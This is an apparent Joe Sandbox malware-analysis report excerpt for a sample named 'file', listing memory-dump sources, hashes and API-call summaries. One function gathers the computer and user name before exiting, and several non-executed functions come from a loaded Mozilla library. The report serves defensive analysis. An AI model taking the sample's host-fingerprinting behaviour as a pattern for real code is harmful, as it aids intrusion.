Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 21b6122e208feef87996ecfaf3fe32595d0d74c7d2684652a6aaa69b414304b3
Instruction ID: 456c2e8d784555b86fa36ceca58b2e3fc139f4c35f0ac4b55ae45d894956348c
Opcode Fuzzy Hash: 21b6122e208feef87996ecfaf3fe32595d0d74c7d2684652a6aaa69b414304b3
Instruction Fuzzy Hash: 8BE01A35E4434C6FDB91EB94CC96FAE737D9B44B01F004299BA0C9B2C0DE70AB858B91

Function 006C1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 006D78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 006D7910
Part of subcall function 006D78E0: RtlAllocateHeap.NTDLL(00000000), ref: 006D7917
Part of subcall function 006D78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 006D792F

Part of subcall function 006D7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,006C11B7), ref: 006D7880
Part of subcall function 006D7850: RtlAllocateHeap.NTDLL(00000000), ref: 006D7887
Part of subcall function 006D7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 006D789F

ExitProcess.KERNEL32 ref: 006C11C6

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 2f2729928828a6f7695b64eb5f9d7c460276a284d79a5c83f91c98aeb5a8bb29
Instruction ID: 3f6244ff05df0822cb763126bfab0fd885d9529c809d432c9c90afefbbd7e521
Opcode Fuzzy Hash: 2f2729928828a6f7695b64eb5f9d7c460276a284d79a5c83f91c98aeb5a8bb29
Instruction Fuzzy Hash: 87E0ECA5D283055ACA4073B4AC0AB2A329E9B15349F08043EBA05D6753FA29E80095AA

Function 006D8E30 Relevance: 1.3, APIs: 1, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,-00000001), ref: 006D8E52

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: d8264f421439c8abed6c0ae60650353b44fef85cc00b4c2d7487c3933ee9c207
Instruction ID: d263655d5179374237e5c5ada34a9380b1549127fcf048609ad3794042ee6e4f
Opcode Fuzzy Hash: d8264f421439c8abed6c0ae60650353b44fef85cc00b4c2d7487c3933ee9c207
Instruction Fuzzy Hash: D001E430E04208EFCB04CF98C589BACBBB2AF44308F288589E9056B391C7756A84DF85

Non-executed Functions

Function 6C665440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C665492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C6654A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C6654BE
__Init_thread_footer.LIBCMT ref: 6C6654DB

Part of subcall function 6C68AB3F: EnterCriticalSection.KERNEL32(6C6DE370,?,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284), ref: 6C68AB49
Part of subcall function 6C68AB3F: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68AB7C

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

GetCurrentThreadId.KERNEL32 ref: 6C6654F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C665516
GetCurrentThreadId.KERNEL32 ref: 6C66556A
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C665577
moz_xmalloc.MOZGLUE(00000070), ref: 6C665585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C665590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C6655E6
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C665606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C665616

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

GetCurrentThreadId.KERNEL32 ref: 6C66563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C665646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C66567C
free.MOZGLUE(?), ref: 6C6656AE

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C6656E8
GetCurrentThreadId.KERNEL32 ref: 6C665707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C66570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C665729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C66574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C66576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C665796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C6657B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C6657CA

Strings

MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C665749
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C6654A3
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C665D1C
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C6654B9
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C665D01
[I %d/%d] profiler_init, xrefs: 6C66564E
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C665AC9
GeckoMain, xrefs: 6C665554, 6C6655D5
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C665791
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C665D24
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C665717
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C6656E3
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C665D2B
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C66584E
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C665766
MOZ_BASE_PROFILER_HELP, xrefs: 6C665511
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C6657AE
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C665724
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C6657C5
MOZ_PROFILER_STARTUP, xrefs: 6C6655E1
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C665B38
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C665CF9
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C66548D
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C665C56
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C665BBE

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 9723cfc490d2767776d13f6d4db7c8a092534f89ff03e26e62870104a5c6f412
Instruction ID: 177a8c64f2d46a8a752f75fa61e52c8de68fafea378d92d8cf6f77fefddd9d63
Opcode Fuzzy Hash: 9723cfc490d2767776d13f6d4db7c8a092534f89ff03e26e62870104a5c6f412
Instruction Fuzzy Hash: 2D2205709043419FDB009F76C89666ABBB5AF8734CF04462AE94A87F42EB31E445CB5F

Function 6C666C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C666CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C666D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C666D26

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C666D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C666D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C666D73
free.MOZGLUE(00000000), ref: 6C666D80
CertGetNameStringW.CRYPT32 ref: 6C666DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C666DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C666DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C666DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C666E10
CryptMsgClose.CRYPT32(00000000), ref: 6C666E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C666E34
CreateFileW.KERNEL32 ref: 6C666EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C666F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C666F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C66709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C667103
free.MOZGLUE(00000000), ref: 6C667153
CloseHandle.KERNEL32(?), ref: 6C667176
__Init_thread_footer.LIBCMT ref: 6C667209
__Init_thread_footer.LIBCMT ref: 6C66723A
__Init_thread_footer.LIBCMT ref: 6C66726B
__Init_thread_footer.LIBCMT ref: 6C66729C
__Init_thread_footer.LIBCMT ref: 6C6672DC
__Init_thread_footer.LIBCMT ref: 6C66730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C6673C2
VerSetConditionMask.NTDLL ref: 6C6673F3
VerSetConditionMask.NTDLL ref: 6C6673FF
VerSetConditionMask.NTDLL ref: 6C667406
VerSetConditionMask.NTDLL ref: 6C66740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C66741A
moz_xmalloc.MOZGLUE(?), ref: 6C66755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C667568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C667585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C667598
free.MOZGLUE(00000000), ref: 6C6675AC

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

Strings

CryptCATAdminReleaseCatalogContext, xrefs: 6C6672C8
(, xrefs: 6C66768A
wintrust.dll, xrefs: 6C6672CD
SHA256, xrefs: 6C666EC0

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 7fc89b314fb4aa2afe388c52032a03451903b56d09fef3437752505b54f425da
Instruction ID: 66a7cec88e3af785e2294924bd49185265c2d8ef4da158a834f2fe8299d93b89
Opcode Fuzzy Hash: 7fc89b314fb4aa2afe388c52032a03451903b56d09fef3437752505b54f425da
Instruction Fuzzy Hash: 9852E871A042149FEB21DF26CC84BAA77B8EF46704F144599E909A7A40DB70BF84CF5A

Function 6C690DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C690F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C690F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C690FB7
EnterCriticalSection.KERNEL32(?), ref: 6C690FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C691031
LeaveCriticalSection.KERNEL32(?), ref: 6C6910D0
EnterCriticalSection.KERNEL32(?), ref: 6C69117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C691C39
EnterCriticalSection.KERNEL32(6C6DE744), ref: 6C693391
LeaveCriticalSection.KERNEL32(6C6DE744), ref: 6C6933CD
LeaveCriticalSection.KERNEL32(?), ref: 6C693431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C693437

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6C693A02
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6937A8
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C6937D2
MOZ_CRASH(), xrefs: 6C693950
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6937BD
<jemalloc>, xrefs: 6C693941, 6C6939F1
MALLOC_OPTIONS, xrefs: 6C6935FE
Compile-time page size does not divide the runtime one., xrefs: 6C693946
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C693559, 6C69382D, 6C693848
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C693793

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 490fd3e4da68b349dcf174aeb13f7e1aa5eb04aedbdc4e08c90c6a630371fe5e
Instruction ID: 96dae9f6c816b0358c2a12f1448292288e71a0c622159dc55be4494e21494cd5
Opcode Fuzzy Hash: 490fd3e4da68b349dcf174aeb13f7e1aa5eb04aedbdc4e08c90c6a630371fe5e
Instruction Fuzzy Hash: 1F539E71A057028FD704CF29C580616FBE1BF8A328F29C76DE8699B791D771E842CB85

Function 6C6B34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3EE2

Part of subcall function 6C6B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C6B61DD
Part of subcall function 6C6B6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C6B622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B4157

Part of subcall function 6C6B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C6B6250
Part of subcall function 6C6B6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6B6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4863
